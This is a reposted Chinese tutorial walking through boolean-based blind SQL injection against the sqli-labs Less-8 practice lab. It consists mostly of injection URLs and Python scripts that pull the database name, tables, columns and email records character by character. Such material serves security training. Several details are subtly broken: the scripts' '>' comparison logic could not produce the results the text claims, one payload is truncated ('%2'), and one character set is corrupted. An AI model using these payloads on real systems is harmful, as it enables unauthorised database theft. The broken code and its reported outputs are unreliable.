sql注入基於布林/時間的盲注詳解
本來想自己總結寫一篇的,發現有篇寫的很好,轉載mark一個~
原文連結:http://www.jb51.net/article/93445.htm
基於布林的盲注
Web的頁面的僅僅會返回True和False。那麼布林盲注就是進行SQL注入之後然後根據頁面返回的True或者是False來得到資料庫中的相關資訊。
由於本次是布林注入,手注無法完整地進行脫褲。所以在本節需要編寫大量的程式碼來幫助我們進行SQL注入,得到資料。所以在這章裡面會有很多的Python程式碼。
本次的示例就是Less-8。
通過進行下面的語句的注入測試
http://localhost/sqlilabs/Less-8/?id=2'http://localhost/sqlilabs/Less-8/?id=2" http://localhost/sqlilabs/Less-8/?id=2
進行測試的時候,只有在id=2'
的時候頁面無法顯示內容。輸入的語句如果符合要求,頁面就會顯示內容,但是顯示的內容都是一樣的。這種情況下頁面上的輸出對於我們來說是完全沒有用的,包括SQL執行出錯的資訊都不會在頁面上顯示。這種情況下之前的通過執行SQL語句然後在頁面上顯示SQL執行之後返回的資訊完全是不可能的啦。這種情況下就是一個典型的SQL盲注了。
我們通過頁面是否顯示內容來判斷我們的SQL語句是否正確,進而猜解資料庫的資訊。
通過上面的注入測試,我們知道後臺的SQL的注入語句的寫法是:
select field from table where id='userinput'
id引數是被單引號包括的。其他的資訊我們就無法得到了。
得到資料庫的名稱
在得到資料庫的名稱之前,首先需要得到資料庫的長度
http://localhost/sqlilabs/Less-8/?id=2' and length(database())>1 %23http://localhost/sqlilabs/Less-8/?id=2' and length(database())>2 %23以此類推.....
發現當值為8的時候,頁面就沒有顯示。那麼說明database()
的長度是8。
得到了datbase()
的長度之後,接下來就是得到database()
的名稱了。
這個時候就不能完全靠手注了,必須編寫Python程式碼來完成。其中最主要就是進行大量的注入測試來判斷程式執行正確和出錯的時機,然後斷定當前的值可能就是正確的值。
下面就是一個簡單的使用Python來進行布林盲注獲取資料的程式碼。
def get_db_name(): result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr(database(),{0},1))>{1} %23" chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for i in range(1,9): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的長度只有706和722 if length>706: result += char break print(result)
得到最後的結果的是security,是正確的。
得到資料庫中的表資訊
其實所有的SQL注入步驟都是類似的。首先得到資料庫的名稱(這一步不是必須的),然後得到當前資料庫的表名稱,然後得到表的欄位,最後進行脫褲。這個步驟在前面已經有說明了。
首先看一個簡單的SQL盲注獲取資料庫表資訊的寫法。
http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>60 %23
其實還是使用之前的select table_name from information_schema.tables where table_schema=database() limit 0,1
這樣的語句來得到表的資訊,但是現在是無法在頁面上顯示的,而是通過盲注來一個字元一個字元的獲取表名。
接下也同樣是通過編寫Python程式碼來獲取表名了。程式碼也和上面的類似。主要就是修改中的URl。在進行Python獲取表名之前,我們同樣需要知道表名的長度。
使用如下的語句就可以得到了。
獲取表名的SQL注入的寫法就是如下
http://localhost/sqlilabs/Less-8/?id=2' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>0 %23
通過這種方式我們知道資料庫表中的第一個表名的長度是6。知道了表名的長度之後,接下來的Python指令碼就很好寫了。
def get_table_name(): result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),{0},1))>{1} %23" chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' for i in range(1,7): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的長度只有706和722 if length>706: result += char break print(result)
最後得到了第一個表名是emails,如果要得到其他的表名只需要將程式碼limit 0,1
修改成為limit 1,1
或者是其他的就可以了。
得到表名的列資訊
在得到列名之前,同樣需要知道在表中的欄位長度。例如我們想要知道在emails表中的長度,那麼就可以使用如下的語句來獲取。
http://localhost/sqlilabs/Less-8/?id=2' and (select length(column_name) from information_schema.columns where table_name=0x656d61696c73 limit 0,1)>【num】 %23
修改num的值即可,從0開始一直到到程式出錯。通過這種方法,我們得到在emails中存在2個欄位,欄位的長度分別是2,8。
得到了欄位長度之後,接下來就是進行布林注入得到欄位名稱了。
在編寫程式碼之前,還是來看如何寫獲取欄位名稱的sql語句吧。下面這個程式碼就是用來獲取欄位名稱的程式碼。
http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),1,1))>60 %23
我們編寫的Python程式碼也是利用上面這個程式碼來獲取欄位名稱。
def get_column_name(): result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select column_name from information_schema.columns where table_name=0x656d61696c73 limit 0,1),{0},1))>{1} %23" chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_abcdefghijklmnopqrstuvwxyz' for i in range(1,3): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的長度只有706和722 if length>706: result += char break print(result)
通過上面這個程式碼,我們可以得到在emails表中存在的欄位名稱分別是id
和email_id
脫褲
在得到了欄位名稱之後,接下來最重要的一步就是進行脫褲了。
在進行脫褲之前,我們首先判斷在emails表中有多少條記錄。
使用的語句如下:
http://localhost/sqlilabs/Less-8/?id=2' and (select count(*) from emails)>0 %2
修改>0中的0依次為1,2,3之後,我們得到在emails表中一共存在8條記錄。
那麼接下來就是進行脫褲了。
在脫褲之前,我們首先要知道當前記錄的長度,這個SQL語句也很好寫。
http://localhost/sqlilabs/Less-8/?id=2' and (select length(email_id) from emails limit 0,1)>15 %23
最後我們知道在emails表中的第一條記錄中的email_id
的長度是16.
知道了長度之後,程式碼就很好寫了。
def get_data(): result = "" url_template = "http://localhost/sqlilabs/Less-8/?id=2' and ascii(substr((select email_id from emails limit 0,1),{0},1))>{1} %23" chars = '[email protected]_abcdefghijklmnopqrstuvwxyz' for i in range(1,17): for char in chars: char_ascii = ord(char) url = url_template.format(i,char_ascii) response = requests.get(url) length = len(response.text) #返回的長度只有706和722 if length>706: result += char break print(result)
通過上面的這段程式碼就得到了內容是[email protected],其他的內容就同樣通過這段方式得到資料了。這裡就不作演示了。
總結
其實基於布林盲注和基於時間的盲注都是需要編寫大量的程式碼,就像本篇的文章一樣。之前在簡單的SQL注入中,一句SQL注入程式碼就可以解決的問題在這裡就需要編寫Python程式碼來進行大量的注入測試才能夠得到內容。其實之前我也很少完整的用Python來編寫SQL注入程式碼完成整個布林盲注的注入過程。通過本章的編寫,熟悉了使用Python程式碼完整地進行一次布林盲注的過程了,學習了很多。以上就是這篇文章的全部內容了,希望對大家能有所幫助。